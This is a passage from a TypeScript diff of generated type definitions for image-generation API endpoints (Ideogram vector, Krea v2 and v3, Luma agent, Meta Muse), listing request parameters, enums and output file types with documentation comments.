inputIdeogramVectorTextToVectorQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputIdeogramVectorTextToVectorQualityEnumKey = + (typeof inputIdeogramVectorTextToVectorQualityEnum)[keyof typeof inputIdeogramVectorTextToVectorQualityEnum] + +export const inputIdeogramVectorTextToVectorAspectRatioEnum = { + auto: 'auto', + '1:1': '1:1', + '1:4': '1:4', + '1:3': '1:3', + '1:2': '1:2', + '9:16': '9:16', + '10:16': '10:16', + '2:3': '2:3', + '3:4': '3:4', + '4:5': '4:5', + '5:4': '5:4', + '4:3': '4:3', + '3:2': '3:2', + '16:10': '16:10', + '16:9': '16:9', + '2:1': '2:1', + '3:1': '3:1', + '4:1': '4:1', +} as const + +export type InputIdeogramVectorTextToVectorAspectRatioEnumKey = + (typeof inputIdeogramVectorTextToVectorAspectRatioEnum)[keyof typeof inputIdeogramVectorTextToVectorAspectRatioEnum] + +export type InputIdeogramVectorTextToVector = { + /** + * @description Generation quality. `low` is fastest, `high` is highest quality. + * @default 'medium' + * @type string | undefined + */ + quality?: InputIdeogramVectorTextToVectorQualityEnumKey + /** + * @description The aspect ratio of the generated SVG. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputIdeogramVectorTextToVectorAspectRatioEnumKey + /** + * @description Optional reference images (up to 5, max 10MB each). The first image is the primary source; the others are additional references. + */ + image_urls?: string[] | null + /** + * @description A text description of the SVG to generate. + * @minLength 1 + * @maxLength 9500 + * @example A playful cat logo with bold outlines and flat colors + * @type string + */ + prompt: string + /** + * @description Number of SVGs to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Seed for reproducible generation. + */ + seed?: number | null +} + +export type File03Aad769 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputIdeogramVectorTextToVector = { + /** + * @description The generated SVG files. + * @type array + */ + images: File03Aad769[] + /** + * @description Seed used for generation, if provided. + */ + seed?: number | null +} + +export type ImageStyleReference = { + /** + * @description Publicly accessible URL of a reference image. + * @type string + */ + image_url: string + /** + * @description How strongly the reference influences the generated image. Negative values push away from the reference. + * @minimum -2 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + strength?: number +} + +export type Moodboard = { + /** + * @description Krea moodboard identifier (UUID). + * @type string + */ + id: string + /** + * @description How strongly the moodboard influences the generated image. + * @minimum 0 + * @maximum 1 + * @default 0.23 + * @type number | undefined + */ + strength?: number +} + +export type Style = { + /** + * @description Krea style identifier (a LoRA-based preset style) returned by the Krea styles catalog. + * @type string + */ + id: string + /** + * @description How strongly the style influences the generated image. Negative values push away from the style. + * @minimum -2 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + strength?: number +} + +export const inputKreaV2LargeTextToImageAspectRatioEnum = { + '1:1': '1:1', + '4:3': '4:3', + '3:2': '3:2', + '16:9': '16:9', + '2.35:1': '2.35:1', + '4:5': '4:5', + '2:3': '2:3', + '9:16': '9:16', +} as const + +export type InputKreaV2LargeTextToImageAspectRatioEnumKey = + (typeof inputKreaV2LargeTextToImageAspectRatioEnum)[keyof typeof inputKreaV2LargeTextToImageAspectRatioEnum] + +export const inputKreaV2LargeTextToImageCreativityEnum = { + raw: 'raw', + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputKreaV2LargeTextToImageCreativityEnumKey = + (typeof inputKreaV2LargeTextToImageCreativityEnum)[keyof typeof inputKreaV2LargeTextToImageCreativityEnum] + +/** + * @description Input for Krea-2 Large image generation. + * @type object + */ +export type InputKreaV2LargeTextToImage = { + /** + * @description Aspect ratio of the generated image. + * @default '1:1' + * @example 1:1 + * @type string | undefined + */ + aspect_ratio?: InputKreaV2LargeTextToImageAspectRatioEnumKey + /** + * @description Optional list of reference images that guide the style of the generated image. At most 10 entries. + * @default [] + * @type array | undefined + */ + image_style_references?: ImageStyleReference[] + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Controls how loosely the model interprets the prompt. Higher values produce more creative results that may drift from the prompt; lower values stay closer to the prompt. + * @default 'medium' + * @type string | undefined + */ + creativity?: InputKreaV2LargeTextToImageCreativityEnumKey + /** + * @description Text description of the image to generate. + * @minLength 1 + * @maxLength 5000 + * @example A Van Gogh-tinged Provençal farmhouse under starry nights. + * @type string + */ + prompt: string + /** + * @description Optional moodboard to apply to the generation. Krea currently accepts at most one moodboard per request. Each entry references a moodboard by `id` (UUID). + * @default [] + * @type array | undefined + */ + moodboards?: Moodboard[] + /** + * @description Optional list of Krea preset styles (LoRA-based) to apply. Each entry references a style by `id` from the Krea styles catalog. At most 10 entries. + * @default [] + * @type array | undefined + */ + styles?: Style[] + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image6Cc96Fa6 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputKreaV2LargeTextToImage = { + /** + * @description The seed used to generate the image. + * @example 12345 + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"url":"https://v3.fal.media/files/panda/krea_v2_example.png"}] + * @type array + */ + images: Image6Cc96Fa6[] +} + +export const inputKreaV2MediumTextToImageAspectRatioEnum = { + '1:1': '1:1', + '4:3': '4:3', + '3:2': '3:2', + '16:9': '16:9', + '2.35:1': '2.35:1', + '4:5': '4:5', + '2:3': '2:3', + '9:16': '9:16', +} as const + +export type InputKreaV2MediumTextToImageAspectRatioEnumKey = + (typeof inputKreaV2MediumTextToImageAspectRatioEnum)[keyof typeof inputKreaV2MediumTextToImageAspectRatioEnum] + +export const inputKreaV2MediumTextToImageCreativityEnum = { + raw: 'raw', + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputKreaV2MediumTextToImageCreativityEnumKey = + (typeof inputKreaV2MediumTextToImageCreativityEnum)[keyof typeof inputKreaV2MediumTextToImageCreativityEnum] + +/** + * @description Input for Krea-2 Medium image generation. + * @type object + */ +export type InputKreaV2MediumTextToImage = { + /** + * @description Aspect ratio of the generated image. + * @default '1:1' + * @example 1:1 + * @type string | undefined + */ + aspect_ratio?: InputKreaV2MediumTextToImageAspectRatioEnumKey + /** + * @description Optional list of reference images that guide the style of the generated image. At most 10 entries. + * @default [] + * @type array | undefined + */ + image_style_references?: ImageStyleReference[] + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Controls how loosely the model interprets the prompt. Higher values produce more creative results that may drift from the prompt; lower values stay closer to the prompt. + * @default 'medium' + * @type string | undefined + */ + creativity?: InputKreaV2MediumTextToImageCreativityEnumKey + /** + * @description Text description of the image to generate. + * @minLength 1 + * @maxLength 5000 + * @example A Van Gogh-tinged Provençal farmhouse under starry nights. + * @type string + */ + prompt: string + /** + * @description Optional moodboard to apply to the generation. Krea currently accepts at most one moodboard per request. Each entry references a moodboard by `id` (UUID). + * @default [] + * @type array | undefined + */ + moodboards?: Moodboard[] + /** + * @description Optional list of Krea preset styles (LoRA-based) to apply. Each entry references a style by `id` from the Krea styles catalog. At most 10 entries. + * @default [] + * @type array | undefined + */ + styles?: Style[] + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image57Eb8Ce6 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputKreaV2MediumTextToImage = { + /** + * @description The seed used to generate the image. + * @example 12345 + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"url":"https://v3.fal.media/files/panda/krea_v2_example.png"}] + * @type array + */ + images: Image57Eb8Ce6[] +} + +export const inputKreaV2MediumTurboTextToImageAspectRatioEnum = { + '1:1': '1:1', + '4:3': '4:3', + '3:2': '3:2', + '16:9': '16:9', + '2.35:1': '2.35:1', + '4:5': '4:5', + '2:3': '2:3', + '9:16': '9:16', +} as const + +export type InputKreaV2MediumTurboTextToImageAspectRatioEnumKey = + (typeof inputKreaV2MediumTurboTextToImageAspectRatioEnum)[keyof typeof inputKreaV2MediumTurboTextToImageAspectRatioEnum] + +export const inputKreaV2MediumTurboTextToImageCreativityEnum = { + raw: 'raw', + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type InputKreaV2MediumTurboTextToImageCreativityEnumKey = + (typeof inputKreaV2MediumTurboTextToImageCreativityEnum)[keyof typeof inputKreaV2MediumTurboTextToImageCreativityEnum] + +/** + * @description Input for Krea-2 Medium Turbo image generation. + * + * Reuses the shared krea-2 input surface so the turbo variant stays in + * lockstep with the medium/large endpoints. Krea documents a ``low`` default + * creativity for the turbo model, but we keep the family-wide ``medium`` + * default for a consistent API across all krea-2 endpoints; callers who want + * Krea's turbo default can pass ``creativity="low"`` explicitly. + * @type object + */ +export type InputKreaV2MediumTurboTextToImage = { + /** + * @description Aspect ratio of the generated image. + * @default '1:1' + * @example 1:1 + * @type string | undefined + */ + aspect_ratio?: InputKreaV2MediumTurboTextToImageAspectRatioEnumKey + /** + * @description Optional list of reference images that guide the style of the generated image. At most 10 entries. + * @default [] + * @type array | undefined + */ + image_style_references?: ImageStyleReference[] + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Controls how loosely the model interprets the prompt. Higher values produce more creative results that may drift from the prompt; lower values stay closer to the prompt. + * @default 'medium' + * @type string | undefined + */ + creativity?: InputKreaV2MediumTurboTextToImageCreativityEnumKey + /** + * @description Text description of the image to generate. + * @minLength 1 + * @maxLength 5000 + * @example A Van Gogh-tinged Provençal farmhouse under starry nights. + * @type string + */ + prompt: string + /** + * @description Optional moodboard to apply to the generation. Krea currently accepts at most one moodboard per request. Each entry references a moodboard by `id` (UUID). + * @default [] + * @type array | undefined + */ + moodboards?: Moodboard[] + /** + * @description Optional list of Krea preset styles (LoRA-based) to apply. Each entry references a style by `id` from the Krea styles catalog. At most 10 entries. + * @default [] + * @type array | undefined + */ + styles?: Style[] + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageD91Cda69 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputKreaV2MediumTurboTextToImage = { + /** + * @description The seed used to generate the image. + * @example 12345 + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"url":"https://v3.fal.media/files/panda/krea_v2_example.png"}] + * @type array + */ + images: ImageD91Cda69[] +} + +export type EditRegion = { + /** + * @description Top edge as a fraction of image height. + * @minimum 0 + * @type number + */ + y: number + /** + * @description Height as a fraction of image height. + * @maximum 1 + * @type number + */ + height: number + /** + * @description Zero-based index into image_urls. + * @minimum 0 + * @type integer + */ + image_idx: number + /** + * @description Edit instruction for this region; may reference other @labels. + * @maxLength 5000 + * @default '' + * @type string | undefined + */ + note?: string + /** + * @description Refer to this region as @label. Defaults to its one-based position. + */ + label?: string | null + /** + * @description Width as a fraction of image width. + * @maximum 1 + * @type number + */ + width: number + /** + * @description Left edge as a fraction of image width. + * @minimum 0 + * @type number + */ + x: number +} + +export type ImageSize2Fe750Ee = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputKreaV3EditOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputKreaV3EditOutputFormatEnumKey = + (typeof inputKreaV3EditOutputFormatEnum)[keyof typeof inputKreaV3EditOutputFormatEnum] + +export const inputKreaV3EditReasoningLevelEnum = { + medium: 'medium', + high: 'high', + ultra: 'ultra', +} as const + +export type InputKreaV3EditReasoningLevelEnumKey = + (typeof inputKreaV3EditReasoningLevelEnum)[keyof typeof inputKreaV3EditReasoningLevelEnum] + +export const inputKreaV3EditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputKreaV3EditImageSizeKey = + (typeof inputKreaV3EditImageSize)[keyof typeof inputKreaV3EditImageSize] + +export type InputKreaV3Edit = { + /** + * @description With high or ultra reasoning, true preserves pixels outside the edit regions on the chosen canvas; false disables automatic region cropping and preservation. Omit to retain automatic preservation. With image_size=auto, keeps the canvas dimensions; an explicit image_size preserves the resized input. Billing uses the generated render dimensions. Use PNG for lossless output. + */ + regional_edit?: boolean | null + /** + * @description Reference images to edit or combine (1-8). Order sets the tags. + * @example ["https://v3b.fal.media/files/b/0a90b2a1/i89tMXz0SmiwL0ZvbnUvS_image_00240.png"] + * @type array + */ + image_urls: string[] + /** + * @description Latent noise seed. Use a new seed when editing a previous output again. + */ + seed?: number | null + /** + * @description Output image format. + * @default 'png' + * @type string | undefined + */ + output_format?: InputKreaV3EditOutputFormatEnumKey + /** + * @description How much effort the prompt expander spends reasoning about the given editing task. Higher reasoning effort means slower generation time. + * @default 'medium' + * @type string | undefined + */ + reasoning_level?: InputKreaV3EditReasoningLevelEnumKey + /** + * @description Edit instruction. Refer to images as , , ... and regions as @label. May be omitted when a region has a note. + * @maxLength 5000 + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Check output images for unsafe content. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Bounding boxes on reference images, with optional labels and editing notes. Requires high or ultra reasoning. + * @type array | undefined + */ + regions?: EditRegion[] + /** + * @description Output size, rounded up to multiples of 16, at most 4,220,160 total pixels (1680×2512). auto lets the prompt expander pick the aspect ratio at about 2048×2048. + * @default auto + */ + image_size?: ImageSize2Fe750Ee | InputKreaV3EditImageSizeKey + /** + * @description What to keep out of the image. + * @maxLength 1024 + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Return images as data URIs instead of saving them in request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type ImageFile63Fdd09F = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputKreaV3Edit = { + /** + * @description Latent noise seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated images. + * @type array + */ + images: ImageFile63Fdd09F[] + /** + * @description Prompt used for generation, after expansion. + * @type string + */ + prompt: string + /** + * @description Seconds spent in each generation stage; `inference` is the total GPU sampling time. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Safety result for each image. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type InputKreaV3Realtime = { + /** + * @description Edit instruction. Refer to the input frame as . + * @minLength 1 + * @maxLength 5000 + * @default 'Turn into a living oil painting, melting gold and sapphire' + * @type string | undefined + */ + prompt?: string + /** + * @description Latent noise seed. A fixed seed keeps consecutive frames consistent. + * @default 35 + */ + seed?: number | null + /** + * @description Image to edit, as a URL or base64 data URI; frames are resized to 768x768. It stays for the session: later messages without it edit the same image, and an empty string clears it to generate from the prompt alone. + * @default null + */ + image_url?: string | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image64Dc0C1A = { + /** + * @description The width of the image in pixels. + * @default null + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description File data + * @default null + */ + file_data?: Blob | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @default null + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @default null + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @default null + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @default null + * @example 1024 + */ + height?: number | null +} + +export type OutputKreaV3Realtime = { + /** + * @description Seconds spent in each stage. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed used for generation. + * @type integer + */ + seed: number + /** + * @description Edited frame as a JPEG data URI. + * @type array + */ + images: Image64Dc0C1A[] +} + +export type ImageSize665E16E4 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputKreaV3TextToImageOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputKreaV3TextToImageOutputFormatEnumKey = + (typeof inputKreaV3TextToImageOutputFormatEnum)[keyof typeof inputKreaV3TextToImageOutputFormatEnum] + +export const inputKreaV3TextToImageReasoningLevelEnum = { + medium: 'medium', + high: 'high', +} as const + +export type InputKreaV3TextToImageReasoningLevelEnumKey = + (typeof inputKreaV3TextToImageReasoningLevelEnum)[keyof typeof inputKreaV3TextToImageReasoningLevelEnum] + +export const inputKreaV3TextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputKreaV3TextToImageImageSizeKey = + (typeof inputKreaV3TextToImageImageSize)[keyof typeof inputKreaV3TextToImageImageSize] + +export type InputKreaV3TextToImage = { + /** + * @description Latent noise seed. Use a new seed when editing a previous output again. + */ + seed?: number | null + /** + * @description Description of the image to generate. + * @minLength 1 + * @maxLength 5000 + * @example A red fox curled up asleep in fresh snow at dawn, soft pink light on the pine trees behind it + * @type string + */ + prompt: string + /** + * @description Output image format. + * @default 'png' + * @type string | undefined + */ + output_format?: InputKreaV3TextToImageOutputFormatEnumKey + /** + * @description How much effort the prompt expander spends reasoning about the given prompt. Higher reasoning effort means slower generation time. + * @default 'medium' + * @type string | undefined + */ + reasoning_level?: InputKreaV3TextToImageReasoningLevelEnumKey + /** + * @description Check output images for unsafe content. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Output size, rounded up to multiples of 16, at most 4,220,160 total pixels (1680×2512). auto lets the prompt expander pick the aspect ratio at about 2048×2048. + * @default auto + */ + image_size?: ImageSize665E16E4 | InputKreaV3TextToImageImageSizeKey + /** + * @description What to keep out of the image. + * @maxLength 1024 + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Return images as data URIs instead of saving them in request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type ImageFile1C401Dac = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputKreaV3TextToImage = { + /** + * @description Latent noise seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated images. + * @type array + */ + images: ImageFile1C401Dac[] + /** + * @description Prompt used for generation, after expansion. + * @type string + */ + prompt: string + /** + * @description Seconds spent in each generation stage; `inference` is the total GPU sampling time. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Safety result for each image. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export const inputLumaAgentUni1V1EditStyleEnum = { + auto: 'auto', + manga: 'manga', +} as const + +export type InputLumaAgentUni1V1EditStyleEnumKey = + (typeof inputLumaAgentUni1V1EditStyleEnum)[keyof typeof inputLumaAgentUni1V1EditStyleEnum] + +export const inputLumaAgentUni1V1EditOutputFormat = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputLumaAgentUni1V1EditOutputFormatKey = + (typeof inputLumaAgentUni1V1EditOutputFormat)[keyof typeof inputLumaAgentUni1V1EditOutputFormat] + +export type InputLumaAgentUni1V1Edit = { + /** + * @description Visual style of the edited image. + * @default 'auto' + * @type string | undefined + */ + style?: InputLumaAgentUni1V1EditStyleEnumKey + /** + * @description URL of the source image to edit. + * @example https://storage.googleapis.com/falserverless/gallery/example_inputs_liuyifei.png + * @type string + */ + image_url: string + /** + * @description Optional list of reference image URLs used to guide the edit. + */ + reference_image_urls?: string[] | null + /** + * @description Encoding format of the edited image. + */ + output_format?: InputLumaAgentUni1V1EditOutputFormatKey | null + /** + * @description Text prompt describing the edit to apply. + * @minLength 1 + * @maxLength 6000 + * @example Replace the background with a sunset over the ocean. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File39357232 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputLumaAgentUni1V1Edit = { + /** + * @description The generated image(s). + * @type array + */ + images: File39357232[] +} + +export const inputLumaAgentUni1V1MaxStyleEnum = { + auto: 'auto', + manga: 'manga', +} as const + +export type InputLumaAgentUni1V1MaxStyleEnumKey = + (typeof inputLumaAgentUni1V1MaxStyleEnum)[keyof typeof inputLumaAgentUni1V1MaxStyleEnum] + +export const inputLumaAgentUni1V1MaxOutputFormat = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputLumaAgentUni1V1MaxOutputFormatKey = + (typeof inputLumaAgentUni1V1MaxOutputFormat)[keyof typeof inputLumaAgentUni1V1MaxOutputFormat] + +export const inputLumaAgentUni1V1MaxAspectRatio = { + '3:1': '3:1', + '2:1': '2:1', + '16:9': '16:9', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '9:16': '9:16', + '1:2': '1:2', + '1:3': '1:3', +} as const + +export type InputLumaAgentUni1V1MaxAspectRatioKey = + (typeof inputLumaAgentUni1V1MaxAspectRatio)[keyof typeof inputLumaAgentUni1V1MaxAspectRatio] + +export type InputLumaAgentUni1V1Max = { + /** + * @description Visual style of the generated image. + * @default 'auto' + * @type string | undefined + */ + style?: InputLumaAgentUni1V1MaxStyleEnumKey + /** + * @description Encoding format of the generated image. + */ + output_format?: InputLumaAgentUni1V1MaxOutputFormatKey | null + /** + * @description Optional list of reference image URLs used to guide the generation. + */ + reference_image_urls?: string[] | null + /** + * @description Aspect ratio of the generated image. + * @example 16:9 + */ + aspect_ratio?: InputLumaAgentUni1V1MaxAspectRatioKey | null + /** + * @description When true, the model may consult the web for references. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description Text prompt describing the image to generate. + * @minLength 1 + * @maxLength 6000 + * @example A manga panel of a stoic samurai overlooking a neon cyberpunk city at dusk. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileFec0Dfce = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputLumaAgentUni1V1Max = { + /** + * @description The generated image(s). + * @type array + */ + images: FileFec0Dfce[] +} + +export const inputLumaAgentUni1V1MaxEditStyleEnum = { + auto: 'auto', + manga: 'manga', +} as const + +export type InputLumaAgentUni1V1MaxEditStyleEnumKey = + (typeof inputLumaAgentUni1V1MaxEditStyleEnum)[keyof typeof inputLumaAgentUni1V1MaxEditStyleEnum] + +export const inputLumaAgentUni1V1MaxEditOutputFormat = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputLumaAgentUni1V1MaxEditOutputFormatKey = + (typeof inputLumaAgentUni1V1MaxEditOutputFormat)[keyof typeof inputLumaAgentUni1V1MaxEditOutputFormat] + +export type InputLumaAgentUni1V1MaxEdit = { + /** + * @description Visual style of the edited image. + * @default 'auto' + * @type string | undefined + */ + style?: InputLumaAgentUni1V1MaxEditStyleEnumKey + /** + * @description URL of the source image to edit. + * @example https://storage.googleapis.com/falserverless/gallery/example_inputs_liuyifei.png + * @type string + */ + image_url: string + /** + * @description Optional list of reference image URLs used to guide the edit. + */ + reference_image_urls?: string[] | null + /** + * @description Encoding format of the edited image. + */ + output_format?: InputLumaAgentUni1V1MaxEditOutputFormatKey | null + /** + * @description Text prompt describing the edit to apply. + * @minLength 1 + * @maxLength 6000 + * @example Replace the background with a sunset over the ocean. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileAcb38E1D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputLumaAgentUni1V1MaxEdit = { + /** + * @description The generated image(s). + * @type array + */ + images: FileAcb38E1D[] +} + +export const inputLumaAgentUni1V1TextToImageStyleEnum = { + auto: 'auto', + manga: 'manga', +} as const + +export type InputLumaAgentUni1V1TextToImageStyleEnumKey = + (typeof inputLumaAgentUni1V1TextToImageStyleEnum)[keyof typeof inputLumaAgentUni1V1TextToImageStyleEnum] + +export const inputLumaAgentUni1V1TextToImageOutputFormat = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputLumaAgentUni1V1TextToImageOutputFormatKey = + (typeof inputLumaAgentUni1V1TextToImageOutputFormat)[keyof typeof inputLumaAgentUni1V1TextToImageOutputFormat] + +export const inputLumaAgentUni1V1TextToImageAspectRatio = { + '3:1': '3:1', + '2:1': '2:1', + '16:9': '16:9', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '9:16': '9:16', + '1:2': '1:2', + '1:3': '1:3', +} as const + +export type InputLumaAgentUni1V1TextToImageAspectRatioKey = + (typeof inputLumaAgentUni1V1TextToImageAspectRatio)[keyof typeof inputLumaAgentUni1V1TextToImageAspectRatio] + +export type InputLumaAgentUni1V1TextToImage = { + /** + * @description Visual style of the generated image. + * @default 'auto' + * @type string | undefined + */ + style?: InputLumaAgentUni1V1TextToImageStyleEnumKey + /** + * @description Encoding format of the generated image. + */ + output_format?: InputLumaAgentUni1V1TextToImageOutputFormatKey | null + /** + * @description Optional list of reference image URLs used to guide the generation. + */ + reference_image_urls?: string[] | null + /** + * @description Aspect ratio of the generated image. + * @example 16:9 + */ + aspect_ratio?: InputLumaAgentUni1V1TextToImageAspectRatioKey | null + /** + * @description When true, the model may consult the web for references. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description Text prompt describing the image to generate. + * @minLength 1 + * @maxLength 6000 + * @example A manga panel of a stoic samurai overlooking a neon cyberpunk city at dusk. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileC229Fd57 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputLumaAgentUni1V1TextToImage = { + /** + * @description The generated image(s). + * @type array + */ + images: FileC229Fd57[] +} + +export const inputMetaMuseImageEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputMetaMuseImageEditOutputFormatEnumKey = + (typeof inputMetaMuseImageEditOutputFormatEnum)[keyof typeof inputMetaMuseImageEditOutputFormatEnum] + +export type InputMetaMuseImageEdit = { + /** + * @description Reference images used for the edit. Provide between 1 and 10 HTTP(S) or data URLs. + * 